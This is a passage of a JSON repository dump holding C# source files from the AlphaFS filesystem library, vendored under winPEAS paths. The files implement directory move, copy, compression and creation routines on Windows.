<para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            MoveOptions = moveOptions,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref=\"MoveOptions\"/> can be specified,\n      ///   and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Moves a file or a directory and its contents to a new location, <see cref=\"MoveOptions\"/> can be specified,\n      ///   and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Move action.</returns>\n      /// <remarks>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            MoveOptions = moveOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.ValidateMoveAction.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      [SecurityCritical]\n      internal static CopyMoveArguments ValidateMoveAction(CopyMoveArguments cma)\n      {\n         // Determine if a Move action or Copy action-fallback is possible.\n\n         cma.IsCopy = false;\n         cma.EmulateMove = false;\n         \n\n         // Compare the root part of both paths.\n\n         var equalRootPaths = Path.GetPathRoot(cma.SourcePathLp, false).Equals(Path.GetPathRoot(cma.DestinationPathLp, false), StringComparison.OrdinalIgnoreCase);\n         \n\n         // Method Volume.IsSameVolume() returns true when both paths refer to the same volume, even if one of the paths is a UNC path.\n         // For example, src = C:\\TempSrc and dst = \\\\localhost\\C$\\TempDst\n\n         var isSameVolume = equalRootPaths || Volume.IsSameVolume(cma.SourcePathLp, cma.DestinationPathLp);\n         \n         var isMove = isSameVolume && equalRootPaths;\n\n         if (!isMove)\n         {\n            // A Move() can be emulated by using Copy() and Delete(), but only if the MoveOptions.CopyAllowed flag is set.\n\n            isMove = File.HasCopyAllowed(cma.MoveOptions);\n\n\n            // MSDN: .NET3.5+: IOException: An attempt was made to move a directory to a different volume.\n\n            if (!isMove)\n               NativeError.ThrowException(Win32Errors.ERROR_NOT_SAME_DEVICE, cma.SourcePathLp, cma.DestinationPathLp);\n         }\n\n\n         // The MoveFileXxx methods fail when:\n         // - A directory is being moved;\n         // - One of the paths is a UNC path, even though both paths refer to the same volume.\n         //   For example, src = C:\\TempSrc and dst = \\\\localhost\\C$\\TempDst\n\n         if (isMove)\n         {\n            var srcIsUncPath = Path.IsUncPathCore(cma.SourcePathLp, false, false);\n            var dstIsUncPath = Path.IsUncPathCore(cma.DestinationPathLp, false, false);\n\n            isMove = srcIsUncPath == dstIsUncPath;\n         }\n\n\n         isMove = isMove && isSameVolume && equalRootPaths;\n\n\n         // Emulate Move().\n         if (!isMove)\n         {\n            cma.MoveOptions = null;\n\n            cma.IsCopy = true;\n            cma.EmulateMove = true;\n            cma.CopyOptions = CopyOptions.None;\n         }\n\n\n         return cma;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.CompressDecompressCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Compress/decompress Non-/Transacted files/directories.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"searchPattern\">\n      ///    The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///    This parameter can contain a combination of valid literal path and wildcard\n      ///    (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"compress\"><c>true</c> compress, when <c>false</c> decompress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void CompressDecompressCore(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions? options, DirectoryEnumerationFilters filters, bool compress, PathFormat pathFormat)\n      {\n         var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         if (null == options)\n            options = DirectoryEnumerationOptions.None;\n\n\n         // Traverse the source folder, processing files and folders.\n\n         foreach (var fsei in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(null, transaction, pathLp, searchPattern, null, options | DirectoryEnumerationOptions.AsLongPath, filters, PathFormat.LongFullPath))\n\n            Device.ToggleCompressionCore(transaction, fsei.IsDirectory, fsei.FullPath, compress, PathFormat.LongFullPath);\n\n\n         // Process the root directory, the given path.\n\n         Device.ToggleCompressionCore(transaction, true, pathLp, compress, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.CopyMoveCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Copy/move a Non-/Transacted file or directory including its children to a new location, <see cref=\"CopyOptions\"/> or <see cref=\"MoveOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with the status of the Copy or Move action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>You cannot use the Move method to overwrite an existing file, unless <paramref name=\"cma.moveOptions\"/> contains <see cref=\"MoveOptions.ReplaceExisting\"/>.</para>\n      ///   <para>Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an IOException.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      [SecurityCritical]\n      internal static CopyMoveResult CopyMoveCore(CopyMoveArguments cma)\n      {\n         #region Setup\n         \n         var fsei = File.GetFileSystemEntryInfoCore(cma.Transaction, false, cma.SourcePath, true, cma.PathFormat);\n\n         var isFolder = null == fsei || fsei.IsDirectory;\n\n         // Directory.Move is applicable to both files and folders.\n\n         cma = File.ValidateFileOrDirectoryMoveArguments(cma, false, isFolder);\n\n\n         var copyMoveResult = new CopyMoveResult(cma, isFolder);\n\n         var errorFilter = null != cma.DirectoryEnumerationFilters && null != cma.DirectoryEnumerationFilters.ErrorFilter ? cma.DirectoryEnumerationFilters.ErrorFilter : null;\n\n         var retry = null != errorFilter && (cma.DirectoryEnumerationFilters.ErrorRetry > 0 || cma.DirectoryEnumerationFilters.ErrorRetryTimeout > 0);\n\n         if (retry)\n         {\n            if (cma.DirectoryEnumerationFilters.ErrorRetry <= 0)\n               cma.DirectoryEnumerationFilters.ErrorRetry = 2;\n\n            if (cma.DirectoryEnumerationFilters.ErrorRetryTimeout <= 0)\n               cma.DirectoryEnumerationFilters.ErrorRetryTimeout = 10;\n         }\n\n\n         // Calling start on a running Stopwatch is a no-op.\n         copyMoveResult.Stopwatch.Start();\n\n         #endregion // Setup\n\n\n         if (cma.IsCopy)\n         {\n            // Copy folder SymbolicLinks.\n            // Cannot be done by CopyFileEx() so emulate this.\n\n            if (File.HasCopySymbolicLink(cma.CopyOptions))\n            {\n               var lvi = File.GetLinkTargetInfoCore(cma.Transaction, cma.SourcePathLp, true, PathFormat.LongFullPath);\n\n               if (null != lvi)\n               {\n                  File.CreateSymbolicLinkCore(cma.Transaction, cma.DestinationPathLp, lvi.SubstituteName, SymbolicLinkTarget.Directory, PathFormat.LongFullPath);\n\n                  copyMoveResult.TotalFolders = 1;\n               }\n            }\n\n            else\n            {\n               if (isFolder)\n                  CopyMoveDirectoryCore(retry, cma, copyMoveResult);\n\n               else\n                  File.CopyMoveCore(retry, cma, true, false, cma.SourcePathLp, cma.DestinationPathLp, copyMoveResult);\n            }\n         }\n\n\n         // Move\n\n         else\n         {\n            // AlphaFS feature to overcome a MoveFileXxx limitation.\n            // MoveOptions.ReplaceExisting: This value cannot be used if lpNewFileName or lpExistingFileName names a directory.\n\n            if (isFolder && !cma.DelayUntilReboot && File.HasReplaceExisting(cma.MoveOptions))\n\n               DeleteDirectoryCore(cma.Transaction, null, cma.DestinationPathLp, true, true, true, PathFormat.LongFullPath);\n\n\n            // 2017-06-07: A large target directory will probably create a progress-less delay in UI.\n            // One way to get around this is to perform the delete in the File.CopyMove method.\n\n\n            // Moves a file or directory, including its children.\n            // Copies an existing directory, including its children to a new directory.\n\n            File.CopyMoveCore(retry, cma, true, isFolder, cma.SourcePathLp, cma.DestinationPathLp, copyMoveResult);\n\n\n            // If the move happened on the same drive, we have no knowledge of the number of files/folders.\n            // However, we do know that the one folder was moved successfully.\n            \n            if (copyMoveResult.ErrorCode == Win32Errors.NO_ERROR && isFolder)\n               copyMoveResult.TotalFolders = 1;\n         }\n\n\n         copyMoveResult.Stopwatch.Stop();\n\n         return copyMoveResult;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.CopyMoveDirectoryCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      [SecurityCritical]\n      internal static void CopyMoveDirectoryCore(bool retry, CopyMoveArguments cma, CopyMoveResult copyMoveResult)\n      {\n         var dirs = new Queue<string>(NativeMethods.DefaultFileBufferSize);\n\n         dirs.Enqueue(cma.SourcePathLp);\n\n\n         while (dirs.Count > 0)\n         {\n            var srcLp = dirs.Dequeue();\n\n            // TODO 2018-01-09: Not 100% yet with local + UNC paths.\n            var dstLp = srcLp.ReplaceIgnoreCase(cma.SourcePathLp, cma.DestinationPathLp);\n            \n\n            // Traverse the source folder, processing files and folders.\n            // No recursion is applied; a Queue is used instead.\n\n            foreach (var fseiSource in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(null, cma.Transaction, srcLp, Path.WildcardStarMatchAll, null, null, cma.DirectoryEnumerationFilters, PathFormat.LongFullPath))\n            {\n               var fseiSourcePath = fseiSource.LongFullPath;\n\n               var fseiDestinationPath = Path.CombineCore(false, dstLp, fseiSource.FileName);\n\n               if (fseiSource.IsDirectory)\n               {\n                  CreateDirectoryCore(true, cma.Transaction, fseiDestinationPath, null, null, false, PathFormat.LongFullPath);\n\n                  copyMoveResult.TotalFolders++;\n\n                  dirs.Enqueue(fseiSourcePath);\n               }\n\n               else\n               {\n                  // File count is done in File.CopyMoveCore method.\n\n                  File.CopyMoveCore(retry, cma, true, false, fseiSourcePath, fseiDestinationPath, copyMoveResult);\n\n                  if (copyMoveResult.IsCanceled)\n                  {\n                     // Break while loop.\n                     dirs.Clear();\n\n                     // Break foreach loop.\n                     break;\n                  }\n                  \n\n                  if (copyMoveResult.ErrorCode == Win32Errors.NO_ERROR)\n                  {\n                     copyMoveResult.TotalBytes += fseiSource.FileSize;\n\n                     if (cma.EmulateMove)\n                        File.DeleteFileCore(cma.Transaction, fseiSourcePath, true, fseiSource.Attributes, PathFormat.LongFullPath);\n                  }\n               }\n            }\n         }\n\n\n         if (!copyMoveResult.IsCanceled && copyMoveResult.ErrorCode == Win32Errors.NO_ERROR)\n         {\n            if (cma.CopyTimestamps)\n               CopyFolderTimestamps(cma);\n\n            if (cma.EmulateMove)\n               DeleteDirectoryCore(cma.Transaction, null, cma.SourcePathLp, true, true, true, PathFormat.LongFullPath);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.CreateDirectoryCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Globalization;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Creates a new directory with the attributes of a specified template directory (if one is specified). \n      ///   If the underlying file system supports security on files and directories, the function applies the specified security descriptor to the new directory.\n      ///   The new directory retains the other attributes of the specified template directory.\n      /// </summary>\n      /// <returns>\n      ///   <para>Returns an object that represents the directory at the specified path.</para>\n      ///   <para>This object is returned regardless of whether a directory at the specified path already exists.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"returnNull\">When <c>true</c> returns <c>null</c> instead of a <see cref=\"DirectoryInfo\"/> instance.</param>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"templatePath\">The path of the directory to use as a template when creating the new directory. May be <c>null</c> to indicate that no template should be used.</param>\n      /// <param name=\"directorySecurity\">The <see cref=\"DirectorySecurity\"/> access control to apply to the directory, may be null.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static DirectoryInfo CreateDirectoryCore(bool returnNull, KernelTransaction transaction, string path, string templatePath, ObjectSecurity directorySecurity, bool compress, PathFormat pathFormat)\n      {\n         var longPath = path;\n\n         if (pathFormat != PathFormat.LongFullPath)\n         {\n            if (null == path)\n               throw new ArgumentNullException(\"path\");\n\n\n            Path.CheckSupportedPathFormat(path, true, true);\n            Path.CheckSupportedPathFormat(templatePath, true, true);\n\n            longPath = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator);\n\n            pathFormat = PathFormat.LongFullPath;\n         }\n\n\n         if (!char.IsWhiteSpace(longPath[longPath.Length - 1]))\n         {\n            // Return DirectoryInfo instance if the directory specified by path already exists.\n\n            if (File.ExistsCore(transaction, true, longPath, PathFormat.LongFullPath))\n\n               // We are not always interested in a new DirectoryInfo instance.\n               return returnNull ? null : new DirectoryInfo(transaction, longPath, PathFormat.LongFullPath);\n         }\n\n\n         // MSDN: .NET 3.5+: IOException: The directory specified by path is a file or the network name was not found.\n         if (File.ExistsCore(transaction, false, longPath, PathFormat.LongFullPath))\n            NativeError.ThrowException(Win32Errors.ERROR_ALREADY_EXISTS, longPath);\n\n\n         var templatePathLp = Utils.IsNullOrWhiteSpace(templatePath)\n            ? null\n            : Path.GetExtendedLengthPathCore(transaction, templatePath, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator);\n         \n\n         var list = ConstructFullPath(transaction, longPath);\n         \n         // Directory security.\n         using (var securityAttributes = new Security.NativeMethods.SecurityAttributes(directorySecurity))\n         {\n            // Create the directory paths.\n            while (list.Count > 0)\n            {\n               var folderLp = list.Pop();\n\n               // CreateDirectory() / CreateDirectoryEx()\n               // 2013-01-13: MSDN confirms LongPath usage.\n\n               if (!(transaction == null || !NativeMethods.IsAtLeastWindowsVista\n\n                  ? (templatePathLp == null\n\n                     ? NativeMethods.CreateDirectory(folderLp, securityAttributes)\n\n                     : NativeMethods.CreateDirectoryEx(templatePathLp, folderLp, securityAttributes))\n\n                  : NativeMethods.CreateDirectoryTransacted(templatePathLp, folderLp, securityAttributes, transaction.SafeHandle)))\n               {\n                  var lastError = Marshal.GetLastWin32Error();\n\n                  switch ((uint) lastError)\n                  {\n                     // MSDN: .NET 3.5+: If the directory already exists, this method does nothing.\n                     // MSDN: .NET 3.5+: IOException: The directory specified by path is a file.\n                     case Win32Errors.ERROR_ALREADY_EXISTS:\n                        if (File.ExistsCore(transaction, false, longPath, PathFormat.LongFullPath))\n                           NativeError.ThrowException(lastError, longPath);\n\n                        if (File.ExistsCore(transaction, false, folderLp, PathFormat.LongFullPath))\n                           NativeError.ThrowException(Win32Errors.ERROR_PATH_NOT_FOUND, null, folderLp);\n                        break;\n\n\n                     case Win32Errors.ERROR_BAD_NET_NAME:\n                        NativeError.ThrowException(Win32Errors.ERROR_BAD_NET_NAME, longPath);\n                        break;\n\n\n                     case Win32Errors.ERROR_DIRECTORY:\n                        // MSDN: .NET 3.5+: NotSupportedException: path contains a colon character (:) that is not part of a drive label (\"C:\\\").\n                        throw new NotSupportedException(string.Format(CultureInfo.InvariantCulture, Resources.Unsupported_Path_Format, longPath));\n\n\n                     case Win32Errors.ERROR_ACCESS_DENIED:\n                        // Report the parent folder, the inaccessible folder.\n                        var parent = GetParent(folderLp);\n\n                        NativeError.ThrowException(lastError, null != parent ? parent.FullName : folderLp);\n                        break;\n\n\n                     default:\n                        NativeError.ThrowException(lastError, true, folderLp);\n                        break;\n                  }\n               }\n\n               else if (compress)\n                  Device.ToggleCompressionCore(transaction, true, folderLp, true, PathFormat.LongFullPath);\n            }\n\n\n            // We are not always interested in a new DirectoryInfo instance.\n\n            return returnNull ? null : new DirectoryInfo(transaction, longPath, PathFormat.LongFullPath);\n         }\n      }\n\n\n      private static Stack<string> ConstructFullPath(KernelTransaction transaction, string path)\n      {\n         var longPathPrefix = Path.IsUncPathCore(path, false, false) ? Path.LongPathUncPrefix : Path.LongPathPrefix;\n         path = Path.GetRegularPathCore(path, GetFullPathOptions.None, false);\n\n         var length = path.Length;\n         if (length >= 2 && Path.IsDVsc(path[length - 1], false))\n            --length;\n\n         var rootLength = Path.GetRootLength(path, false);\n         if (length == 2 && Path.IsDVsc(path[1], false))\n            throw new ArgumentException(Resources.Cannot_Create_Directory, \"path\");\n\n\n         // Check if directories are missing.\n         var list = new Stack<string>(100);\n\n         if (length > rootLength)\n         {\n            for (var index = length - 1; index >= rootLength; --index)\n            {\n               var path1 = path.Substring(0, index + 1);\n               var path2 = longPathPrefix + path1.TrimStart('\\\\');\n\n               if (!File.ExistsCore(transaction, true, path2, PathFormat.LongFullPath))\n                  list.Push(path2);\n\n               while (index > rootLength && !Path.IsDVsc(path[index], false))\n                  --index;\n            }\n         }\n\n         return list;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.CreateJunctionCore.cs",
